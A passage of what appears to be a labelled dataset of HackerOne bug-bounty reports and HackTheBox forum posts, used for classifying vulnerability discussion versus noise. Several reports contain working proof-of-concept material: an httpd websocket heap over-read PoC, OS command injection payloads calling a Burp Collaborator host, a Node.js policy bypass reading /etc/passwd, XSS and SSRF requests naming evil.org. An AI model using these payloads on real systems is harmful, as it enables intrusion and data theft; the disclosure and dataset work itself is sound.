"non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "31e65eb23dfa782aa3ee", "text": "try out this command it’ll work $ netstat -ln4 | grep LISTEN | grep -v 127 | wc -l", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-02-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7b7295caea148bb52d0c", "text": "[Information Disclosure] Controllable read beyond bounds in lua_websocket_readbytes() [zhbug_httpd_126]\n\nGreetings. I have found a read-beyond-bounds bug in lua_websocket_readbytes() that permits an attacker to exfiltrate a controllable amount of heap data if the victim site runs a suitable LUA program.\n\nThe bug is due to misuse of ap_get_brigade() and apr_bucket_read(). The following code (from v2.4.53) assumes that ap_get_brigade(...readBytes) and ap_bucket_read(...len,...) return |readBytes| or |len| bytes on success return when used in AP_MODE_READBYTES/APR_BLOCK_READ mode, respectively. This idea is false, and causes line 2242, below, to return the address of a buffer |data| that is likely to be shorter than |len|. Line 2244 then copies |len| bytes of |data|, including some number of beyond-bounds bytes, into |buffer|. A suitable LUA program can then be abused to return this |buffer| to an attacker.\n\nThe bug is still present in trunk.\n```\n   2230: static apr_status_t lua_websocket_readbytes(conn_rec* c, char* buffer,\n   2231:         apr_off_t len)\n   2232: {\n   2233:     apr_bucket_brigade *brigade = apr_brigade_create(c->pool, c->bucket_alloc);\n   2234:     apr_status_t rv;\n   2235:     rv = ap_get_brigade(c->input_filters, brigade, AP_MODE_READBYTES,\n   2236:             APR_BLOCK_READ, len);\n   2237:     if (rv == APR_SUCCESS) {\n   2238:         if (!APR_BRIGADE_EMPTY(brigade)) {\n   2239:             apr_bucket* bucket = APR_BRIGADE_FIRST(brigade);\n   2240:             const char* data = NULL;\n   2241:             apr_size_t data_length = 0;\n   2242:             rv = apr_bucket_read(bucket, &data, &data_length, APR_BLOCK_READ);\n   2243:             if (rv == APR_SUCCESS) {\n   2244:                 memcpy(buffer, data, len);\n   2245:             }\n   2246:             apr_bucket_delete(bucket);\n   2247:         }\n   2248:     }\n   2249:     apr_brigade_cleanup(brigade);\n   2250:     return rv;\n   2251: }\n```\nAttached is a POC that demonstrates the bug. It creates a TLS connection to httpd, asks to upgrade the connection to websocket, then sends a websocket frame that purports to transfer `0x4000` bytes of payload to `/bug126/bug126.lua` on httpd. However, the frame does not actually include any payload. The LUA program simply does a websocket upgrade, then reads and echoes whatever data it obtains. Because of the bug, what it obtains (and echoes to the POC program) is `0x4000` bytes of beyond-bounds heap.\n\nUse the POC thusly:\n\n   1. Enable LUA on an httpd server.\n   2. Copy bug126.lua to bug126/bug126.lua on the httpd server.\n   3. Edit |SERVER_NAME| in httpd_wsclient.cpp to contain the DNS name/IP address of the server.\n   4. Edit the certificate file path on httpd_wsclient.cpp line 130 to something appropriate for the certs your httpd server uses.\n   5. Edit the \"host\" header line on httpd_wsclient.cpp line 153 appropriately for your httpd server.\n   6. Build httpd_wsclient.cpp against OpenSSL 1.1.x.\n   7. Attach a debugger to httpd and set a BP on line 2233, above.\n   8. Start httpd_wsclient and set a BP on line 179, on the |while (len > 0)| statement.\n   9. Continue execution of httpd_wsclient.\n   10. You will get several BPs on line 2233. Wait for the one with |len| == 0x4000.\n   11. Now step through line 2235 and notice that it returns success.\n   12. Step through line 2239 (success) and 2242 (success, |data_length| == 1...oh-oh!).\n   13. Now step the memcpy() and watch it copy 0x4000-1 bytes of beyond-bounds heap into |buffer|.\n   14. Let httpd proceed.\n   15. Now you'll get a BP in httpd_wsclient. Check |len|, which probably will be 0x2000. Look at that many bytes off |recvBuf| and verify that they're data from httpd's heap.\n   16. Step the |do| loop again to get another ~0x2000 bytes of httpd heap data.\n```\n-------- bug126.lua ----------------------------------------------------\nfunction handle(r)\n    if r:wsupgrade() then\n        local data, isFinal = r:wsread();\n        r:wswrite(data);\n    end\nend\n-------- bug126.lua ----------------------------------------------------\n```\n```\n-------- httpd_wsclient.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "49d24b5c28bf8e4e3cd4", "text": "Just solved this. To anyone stuck at this place. The only hint I think I would give in public is to notice that your reverse shell isn’t fully interactive. It is possible and necessary to have a fully interactive tty shell.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f41d771b6183d96a1d9a", "text": "[Server-Side Request Forgery (SSRF)] Server-side request forgery  (ssrf)\n\n*.yelp-support.com\n\n## Summary:\n\nServer-side request forgery  \n  \n## Platform(s) Affected:\n\nwww.yelp-support.com\n\n## Steps To Reproduce:\n \n1. If you visit this site, attackers could try to steal information like your passwords, emails, or credit card details.\n\n2. your  server has redirect to malicious website  \n\n3. i am Referer: https://evil.com/    and  your don't  check  server properly the write website \n\n#Steps\n\n 1 .  i am open  assetfinder  to subdomain enumeration on this domain : yelp-support.com\n\n2. i am open in this subdomain in Burp suite :  www.yelp-support.com\n \n3. my Browser Request: \n\nGET /static/111213/js/perf/stub.js HTTP/1.1\nHost: www.yelp-support.com\nCookie: CookieConsentPolicy=0:1; LSKey-c$CookieConsentPolicy=0:1\nSec-Ch-Ua: \"Chromium\";v=\"105\", \"Not)A;Brand\";v=\"8\"\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36\nSec-Ch-Ua-Platform: \"Linux\"\nAccept: */*\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: no-cors\nSec-Fetch-Dest: script\n#Referer: https://evil.com/                           --------- i am  change this link ------ \nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\nConnection: close\n\n4. and  your server Response:\n\n\nHTTP/1.1 200 OK\nDate: Mon, 26 Sep 2022 08:14:39 GMT\nContent-Type: application/x-javascript\nConnection: close\nStrict-Transport-Security: max-age=63072000; includeSubDomains\nCache-Control: public,max-age=10368000\nExpires: Tue, 24 Jan 2023 08:14:39 GMT\nLast-Modified: Thu, 18 Dec 2014 19:28:42 GMT\nVary: Accept-Encoding\nServer: sfdcedge\nX-SFDC-Request-Id: 78779c5a3d8ac507638c3b6c783c3ce8\nContent-Length: 1385\n\nthis[\"Perf\"]&&void 0!==this[\"Perf\"].enabled||(function(window){'use strict';var a={DEBUG:{name:\"DEBUG\",value:1},INTERNAL:{name:\"INTERNAL\",value:2},PRODUCTION:{name:\"PRODUCTION\",value:3},DISABLED:{name:\"DISABLED\",value:4}};\nwindow.PerfConstants={PAGE_START_MARK:\"PageStart\",PERF_PAYLOAD_PARAM:\"bulkPerf\",MARK_NAME:\"mark\",MEASURE_NAME:\"measure\",MARK_START_TIME:\"st\",MARK_LAST_TIME:\"lt\",PAGE_NAME:\"pn\",ELAPSED_TIME:\"et\",REFERENCE_TIME:\"rt\",Perf_LOAD_DONE:\"loadDone\",STATS:{NAME:\"stat\",SERVER_ELAPSED:\"internal_serverelapsed\",DB_TOTAL_TIME:\"internal_serverdbtotaltime\",DB_CALLS:\"internal_serverdbcalls\",DB_FETCHES:\"internal_serverdbfetches\"}};window.PerfLogLevel=a;var b=window.Perf={currentLogLevel:a.DISABLED,mark:function(){return b},endMark:function(){return b},updateMarkName:function(){return b},measureToJson:function(){return\"\"},toJson:function(){return\"\"},setTimer:function(){return b},setServerTime:function(){return b},toPostVar:function(){return\"\"},getMeasures:function(){return[]},getBeaconData:function(){return null},setBeaconData:function(){},clearBeaconData:function(){},removeStats:function(){},stat:function(){return b},getStat:function(){return-1},\nonLoad:function(){},startTransaction:function(){return b},endTransaction:function(){return b},updateTransaction:function(){return b},isOnLoadFired:function(){return!1},util:{setCookie:function(){}},enabled:!1};})(this);\n\n \n5. successfully redirect to your server \n\n\n\n## Supporting Material/References:  \n\n1. assetfinder\n\n2. Burp suite\n\n## Impact\n\n1. If you visit this site, attackers could try to steal information like your passwords, emails, or credit card details.\n\n2.  your  server has redirect to malicious website  \n\n3. i am continue to visit this so your server will crash  \n\n4. your website access to malicious website", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a397bdea645308ae2808", "text": "[Improper Access Control - Generic] New AppPassword can be generated without password confirmation\n\nThere is protection on https://github.com/nextcloud/server/blob/master/apps/settings/lib/Controller/AuthSettingsController.php#L122 that you must have recently entered your password to be able to generate a new AppPassword. However if an attacker would obtain access to your system (say you forgot to lock it when taking a quick bathroom break).\n\nThey can abuse a route to just obtain this. ```https://SERVER/ocs/v2.php/core/getapppassword```\nProbably without you ever noticing.\n\n## Impact\n\nThe password confirmation to generate an app password is effectively useless as it is trivial to bypass.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "34b80070fb5e9ad0dd73", "text": "[Unknown] [Python]: CWE-079: HTTP Header injection\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ca8e7e01f5d92f4b156b", "text": "Hi MunAsqah, I have spent a week on this. could you please help me with the last question about DNS lab. thanks", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-02-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "22d3e709504dd81ff4a7", "text": "[Unknown] Electron CVE-2022-35954 Delimiter Injection Vulnerability in exportVariable\n\n## Describe the summary:\nThe Electron Website provides a set of packages to make creating actions easier. The `core.exportVariable` function uses a well known delimiter that attackers can use to break out of that specific variable and assign values to other arbitrary variables. Workflows that write untrusted values to the `GITHUB_ENV` file may cause the path or other environment variables to be modified without the intention of the workflow or action author. Users should upgrade to `@actions/core v1.9.1`. If you are unable to upgrade the `@actions/core` package, you can modify your action to ensure that any user input does not contain the delimiter `_GitHubActionsFileCommandDelimeter_` before calling `core.exportVariable`.\n\n## Impact\n\n[CVE-2022-35954](https://afaghhosting.net/blog/cve-2022-35954/)\nCWE-74\nCWE-77\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-35954"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a902b359c85303d88dda", "text": "[Information Disclosure] Sensitive data exposure via /secure/QueryComponent!Default.jspa endpoint on ████████\n\n**Description:**\n\nHi,\nWhile going through the testing of DoD assets, I have came across a subdomain that is vulnerable to CVE-2020-14179. Some of the internal fields that are exposed are Project, Status, Limits, Creator, Query, Created Date, Updated Date, Resolution Date, etc. \n\n## References\n\nhttps://jira.atlassian.com/browse/JRASERVER-71536\nhttps://www.cvedetails.com/cve/CVE-2020-14179\n\n## Impact\n\nIt allows unauthenticated attackers like me to view custom field names and custom SLA names via an Information Disclosure vulnerability in the /secure/QueryComponent!Default.jspa endpoint.\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2020-14179\n\n## Steps to Reproduce\n1.  Open browser\n    2. Hit endpoint */jira/secure/QueryComponent!Default.jspa* in the target\n    3. Observe the results.\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2020-14179"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a94a09380f23546c46d1", "text": "First of all the module does not teach you extensively more about it. You have to research a little. this lesson is to teach you about subdomain or subdirectory in a website. so you can use gobuster also. Another thing to note is dont add -fs first. What -fs does is it select the common size of all the namelist you use on ffuf. so if you see common size in namelist in ffuf its gonna be some number(status, size, words, lines, duration) you will see all. But -fs is for size which means it is to get common size. I am writing this for myself and others so its gonna be easy for them. Dont look for answer rightaway.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-11-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "66cc483f12ca18c15179", "text": "Hi, I am on the skills assessment and am quite stuck from the start… I am attempting to brute force support login, with a 30 sec dely between each req to prevent the lockout and trying to decode the cookie but I am stuck on that as well. any hints? happy to talk over dm’s or discord. Thanks!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-07-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8557532b1518fd5e8ff5", "text": "[Server-Side Request Forgery (SSRF)] Unauthenticated SSRF in 3rd party module \"cerdic/csstidy\"\n\n## Summary:\nThe mail extension in nextcloud includes a module called \"cerdic/csstidy\" which basically ships with a publicly accessible test/example interface to play with the CSS formatter and optimiser (/apps/mail/vendor/cerdic/css-tidy/css_optimiser.php). This module allows contacting any remote server via http, which makes it vulnerable to SSRF. We've tried reaching out to the csstidy developers directly but couldn't reach them yet, so we're reaching out to you so they can fix this before csstidy pushes out a fix.\n\nIt's also possible to download remote data as a CSS file into a temporary directory in /apps/mail/vendor/cerdic/css-tidy/temp/. At the moment, this doesn't look to be exploitable on its own, and probably requires another vulnerability to exploit, e.g. a Local File Inclusion vulnerability could be turned into a Remote File Inclusion by first creating a CSS file containing PHP code (downloaded from a remote server via the csstidy vulnerability), and then including the local file via the LFI bug.\n\n## Steps To Reproduce:\n\n  1. Install the mail extension\n  2. Visit: http://example.com/apps/mail/vendor/cerdic/css-tidy/css_optimiser.php (no authentication is required)\n  3. Either use the interface to set \"CSS from URL\" on the bottom or set the \"url\" parameter manually, for example: http://example.com/apps/mail/vendor/cerdic/css-tidy/css_optimiser.php?url=http://localhost/test\n  4. To download remote data as CSS file, either use the interface or try this: http://example.com/apps/mail/vendor/cerdic/css-tidy/css_optimiser.php?url=http://localhost/apps/richdocuments/docs/custom.css&custom=1&template=4\n\n## Supporting Material/References:\n\n* Problematic line in csstidy: https://github.com/Cerdic/CSSTidy/blob/master/css_optimiser.php#L376\n\n## Impact\n\nUsually, SSRFs are not considered a high-impact vulnerability, and I would likely agree on most PHP projects, but (a) this vulnerability can be exploited by an unauthenticated attacker and (b) nextcloud is also designed to be used at a home network which opens the possibility of not only attacking other local services, but also the router of the home network. The ability to receive and write CSS files can also be used by the attacker to find out what other services are running on devices in the network or what kind of router is used etc., before running additional attacks.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6946b320434ab259ff00", "text": "[OS Command Injection] OS command injection on seedr.ru\n\nsite: https://seedr.ru\n\nThe seed_id parameter be vulnerable to OS command injection attacks. It is possible to use various shell metacharacters to inject arbitrary OS commands. The command output does not appear to be returned in the application's responses, however it is possible to inject time delay commands to verify the existence of the vulnerability. It is also possible to cause the application to interact with an external domain, to verify that a command was executed.  The payload was submitted in the seed_id parameter. The application performed a DNS lookup for the specified domain name.  Additionally, the payload  was submitted in the seed_id parameter. The application took 20064 milliseconds to respond to the request, compared with 0 milliseconds for the original request, indicating that the injected command caused a time delay.  \nI also got access to the /api/v1/a/group/all/  folder, which contains information about groups.\n\nDefault request:\nhttps://api.seedr.ru/uploads/521b62f5b7132de722027388%7Cnslookup%20-q=cname%200vwm3493ytajvrc4a2g7ptfmgdm7a04o0crzhn6.burpcollaborator.net.&.zip\n\nSleep request:\nhttps://api.seedr.ru/uploads/521b62f5b7132de722027388%7Cping%20-n%2021%20127.0.0.1%7C%7C%60ping%20-c%2021%20127.0.0.1%60%20#'%20|ping%20-n%2021%20127.0.0.1||%60ping%20-c%2021%20127.0.0.1%60%20#\\%22%20|ping%20-n%2021%20127.0.0.1.zip\n\nIssue remediation\nIf possible, applications should avoid incorporating user-controllable data into operating system commands. In almost every situation, there are safer alternative methods of performing server-level tasks, which cannot be manipulated to perform additional commands than the one intended.\n\n## Impact\n\nOS command injection is a web security vulnerability that allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data. Very often, an attacker can leverage an OS command injection vulnerability to compromise other parts of the hosting infrastructure, exploiting trust relationships to pivot the attack to other systems within the organization.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d8910332a555ab0c942f", "text": "[Privilege Escalation] Dependency Policy Bypass via process.binding\n\n# Preface (for the Internet Bug Bounty)\n\nThe entire vulnerability can be found in HackerOne @ [Dependency Policy Bypass via process.binding](https://hackerone.com/reports/1946470#activity-21276452). For the sake of convenience, I've pasted the entire report down below.\n\n# Copied Vulnerability\n\n**Summary:** By taking advantage of `process.binding('spawn_sync');`, a malicious actor can run arbitrary code, outside of the limits defined in a `policy.json` file.\n\n**Description:** The experimental policy feature for NodeJS is used usually for security reasons, including validating integrity of source code and limiting module access to files. This vulnerability allows an actor to bypass the latter part of its security features, by loading in any module from an external Node.JS script.\n\nSince the required modules use internal bindings, by fetching these bindings themselves, it is possible to neglect the dependency policy altogether.\n\nThis also exists within almost all `process.binding` modules with less or the same severity.\n\n## Steps To Reproduce:\n\n1. Create `policy.json`:\n```json\n{\n  \"onerror\": \"exit\",\n  \"scopes\": {\n    \"file:\": {\n      \"integrity\": true,\n      \"dependencies\": {}\n    }\n  }\n}\n```\n\n2. Create `app.js`:\n```js\nconst { spawn } = process.binding(\"spawn_sync\");\n\nfunction arbitraryExecute(input) {\n    const result = spawn({\n        maxBuffer: 1048576,\n        args: [\"node\", \"-\"],\n        cwd: undefined,\n        detached: false,\n        file: \"node\",\n        windowsHide: false,\n        windowsVerbatimArguments: false,\n        killSignal: undefined,\n        stdio: [\n            { type: \"pipe\", readable: true, writable: false, input: Buffer.from(input) },\n            { type: \"pipe\", readable: false, writable: true },\n            { type: \"pipe\", readable: false, writable: true },\n        ],\n    });\n\n    return {\n        output: result.output[1].toString(),\n        error: result.output[2].toString(),\n    }\n}\n\nconsole.log(arbitraryExecute(`\nconst fs = require('fs');\n\nfs.readFile('/etc/passwd', 'utf8', (err, data) => {\n    if (err) {\n        console.error(err);\n        return;\n    }\n    console.log(data);\n});\n`).output);\n```\n\n3. Run the code with:\n```sh\nnode --experimental-policy=policy.json app.js\n```\n\nThe file will work as the code describes, even though the permission policy explicitly states it doesn't take any dependencies.\n\nIf you run the file alone with the same policy:\n\n`app.js`:\n```js\nconst fs = require('fs');\n\nfs.readFile('/etc/passwd', 'utf8', (err, data) => {\n    if (err) {\n        console.error(err);\n        return;\n    }\n    console.log(data);\n});\n```\n\nIt will show an error:\n```\nerror [ERR_MANIFEST_DEPENDENCY_MISSING]: Manifest resource ./app.js does not list fs as a dependency specifier for conditions: require, node, node-addons\n```\n\n## Impact\n\nAny project using NodeJS's policies in order to restrict dependency use is vulnerable. This example simply reads from `/etc/passwd`, but an attacker can run any arbitrary NodeJS process and script.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "020799c7033d96cdc58a", "text": "[Information Disclosure] Critical sensitive information Disclosure. [HtUS]\n\n(Database user,Database password,Database name) \non https://██████.edu/\n\nI got sensitive information:\nview-source:https://██████████.edu/database.php.orig\n\n\nDatabase information (Database user,Database password,Database name)\n$hostname     = '████████.edu';\n$db         = '█████████';\n$username     = '█��██_user';\n$password     = '████';\n\n## Impact\n\nBug impact:\nSensitive information disclosed and possible for an attacker can access into the system.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "079fe881aef67d905288", "text": "$ netstat -ln4 | grep LISTEN | grep -v 127 | wc -l for other confused learners like me: netstat -ln4 - services that are listening, with numeric addresses, and using the ipv4 protocol as opposed to ipv6 or unspecified grep LISTEN - find results containing the word “LISTEN” grep -v 127 - exclude any results that contain the number “127” wc -l - count the number of lines", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-02-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "db3dec1006a5258f0c05", "text": "[Server-Side Request Forgery (SSRF)] SSRF Vulnerability through Connection test feature\n\nAn SSRF (Server-Side Request Forgery) attack can potentially be executed through the connection test feature, specifically when interacting with the Slack API. This attack allows an attacker to see the plain response, providing them with information that can aid in exploiting the vulnerability, rather than relying solely on blind SSRF techniques.\n\n## Impact\n\nThis vulnerability allows the user to access connection information and exploit the test connection feature by sending many requests, leading to a denial of service (DoS) condition on the server. Furthermore, malicious actors can leverage this vulnerability to establish harmful connections with the server, hit on metadata endpoints.\n\n{F2635041}", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "74d0b832c96f148419f7", "text": "With some tips I managed to get this question after some hard thinking! If anyone needs a nudge in the right direction feel free to DM me", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-02-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a3dc38929ce9d6f84679", "text": "[Server-Side Request Forgery (SSRF)] Mail app - Blind SSRF via Sierve server fonctionnality and sieveHost parameter\n\nHi everyone,\nI would like to report another  Blind SSRF vulnerability through the Nextcloud Mail application.\n\nTested on latest Mail release : `2.0.1`\n\n## Steps To Reproduce:\n\nFirstly, this report is similar to #1736390 except that it touches a new parameter and a different endpoint.\n\nWhen adding a filter via a sieve filter server (`mail` application => added mailbox => settings => Sieve filter server), the following request is made : \n\n```\nPUT /apps/mail/api/sieve/account/5 HTTP/2\nHost: redacted\nCookie: redactedr\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0\nAccept: application/json, text/plain, */*\nAccept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nRequesttoken: redacted\nContent-Length: 117\nOrigin: redacted\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\n\n{\"sieveEnabled\":true,\"sieveHost\":\"evil.org\",\"sievePort\":\"80\",\"sieveUser\":\"\",\"sievePassword\":\"\",\"sieveSslMode\":\"none\"}\n```\n\nThe SSRF is found in the `sieveHost` parameter, and provided that the `sieveSslMode` parameter is set to `none`.\n\n```\n{\"sieveEnabled\":true,\"sieveHost\":\"127.0.0.1\",\"sievePort\":\"80\",\"sieveUser\":\"\",\"sievePassword\":\"\",\"sieveSslMode\":\"none\"}\n```\n\nVia the Burp Intruder tool, I will guess the open ports on my Nextcloud server. Response time less than 100ms => closed port. Response time higher than 5000ms = open ports and service listening on them.\n\n{F1992720}\n\nResult from Burp Intruder on my NC server : \n\n{F1992724}\n\n```\nPort 80 - Apache2 service\nPort 443 - Apache2 service\nPort 2222 - SSH ! (critical)\nPort 6060 - CrowdSec\nPort 8080 - CrowdSec\nPort 3306 - MySQL\nPort 5432 -  PostgreSQL\nPort 6379 - My Redis instance for Nextcloud\n```\n\n## Impact\n\nFrom [OWASP](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/):\n\n> SSRF flaws occur whenever a web application is fetching a remote resource without validating the user-supplied URL. It allows an attacker to coerce the application to send a crafted request to an unexpected destination, even when protected by a firewall, VPN, or another type of network access control list (ACL).\n\nThis vulnerability can allow a malicious individual to map the server and the company's internal network via Nextcloud. This is not demonstrated here in the report but one can scan private subnet ranges to try to guess : \n\n- Which IP addresses are responding\n- Wich ports are open \n- Tried to exploit vulnerable services through this Blind SSRF\n\nHere are some examples of Blind SSRF, which were used as a rebound, to exploit more critical vulnerabilities :\n\n[Here](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html) is an example of how to use an SSRF blind, as a rebound, to exploit a critical flaw.\n\nLooking forward to exchanging.\n\nRegards,\nSupr4s", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dcbf3650fd195b8e187a", "text": "[Cross-site Scripting (XSS) - Stored] Self-XSS on Suggest Tag dialog box\n\n## Summary:\nStored cross-site scripting  arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.\n\nvulnerable URL : https://www.xvideos.com/video57921571/friend_b._if_d.\n\nVulnerability Description : Application have a add tag functionality when i put java script like <script>alert(1)</script> after that stored XSS vulnerability arise.\n\nStep to Reproduce : \nStep 1 : Go to following URL https://www.xvideos.com/video53284603/b.\nNote : you don't need an account to do this\nStep 2 : There is a add tag functionality insert the following information : <script>alert(1)</script>\nStep 3 : Click the add button \nStep 4 : you will see a java script popup box showing your domain\n\nCheck the attached Video POC to see the actual XSS vulnerability\n\n## Impact\n\nIf an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user.\nWhen the victim accesses the page containing the JavaScript payload, their browser will make a HTTP request to the attacker’s server", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9e305dbf8e64b30cb0b4", "text": "[Insufficiently Protected Credentials] mysql credentials exposed on - https://cz.acronis.com/docker-compose.yml\n\nHi, there are some MySQL credentials exposed on https://cz.acronis.com/docker-compose.yml\nIt is not that you are gonna avoid a compromise with that user/password pair, but just in case you don't wanna make it even easier publishing the credentials to the wild x]\n\n## Impact\n\nMySQL credentials exposed publicly", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3159cfa0b9c72db6a6e3", "text": "It’s one of those assignments that takes a couple of tries. I wasn’t sure how the php code in the module example was creating the hashes, so i got to an online php sandbox an experimented with a couple of lines of codes to figure it out. After having some ideas, modified the module’s python script to compute the hashes for the htbuser user and compared it with the one generated in the question page. Once i got a hit, it confirmed the way it was computing the hashes. Modified the script it to htbadmin user, got it running and pressed the button to generate the token again. Then it was just a matter of waiting.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-12-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "96e0e2be46b27f73980b", "text": "OpenVas Installation\n\nHi, I am using parrot os version 5.0 (Electro Ara) 64-bit and I am facing problems using preinstalled openvas.When I run gvm-check-setup it shows following error gvm-check-setup 21.4.3 Test completeness and readiness of GVM-21.4.3 Step 1: Checking OpenVAS (Scanner)… ERROR: No OpenVAS Scanner found. FIX: Please install OpenVAS Scanner. ERROR: Your GVM-21.4.3 installation is not yet complete! Please follow the instructions marked with FIX above and run this script again. Could someone help me fix this error.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-06-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0beee6fe0ac87f31311e", "text": "[Insecure Direct Object Reference (IDOR)] Email Address Exposure via Gratipay Migration Tool\n\nThrough the `/migrate` route, an attacker can input the username of any user on the site and retrieve their primary email address without any authorization required.\n\n# Steps to reproduce:\n\n#### Note: This cannot be performed with `hackerone-target`, because that account seems to return a `None` as an email.\n1. Craft and post an HTTP request that fakes step 1 of the migration process through Gratipay, with any email in the `email_address` field and the target's username in the `username` field.\n```http\nPOST /migrate?step=2 HTTP/1.1\nHost: liberapay.com\nCookie: XXXXXXX\nX-CSRF-TOKEN: XXXXXXX\nContent-Type: application/x-www-form-urlencoded\n\nemail_address=suprnova+gratipay@wearehackerone.com&username=suprnova\n```\n2. Examine the HTML of the response.\n```html\n<form action=\"\" method=\"POST\">\n  <input type=\"hidden\" name=\"form.repost\" value=\"true\" />\n  <input type=\"hidden\" name=\"email_address\" value=\"suprnova+gratipay@wearehackerone.com\" />\n  <input type=\"hidden\" name=\"username\" value=\"suprnova\" />\n  <div class=\"alert alert-danger\">The username &#39;<a href=\"/Suprnova/\">Suprnova</a>&#39; is already taken.</div>\n  <p>Does this existing account belong to you?</p>\n  <p class=\"buttons\">\n    <button class=\"btn btn-default btn-lg\"\n      name=\"log-in.id\" value=\"suprnova+very-secret-email-address@wearehackerone.com\"\n      >Yes</button>\n    <button 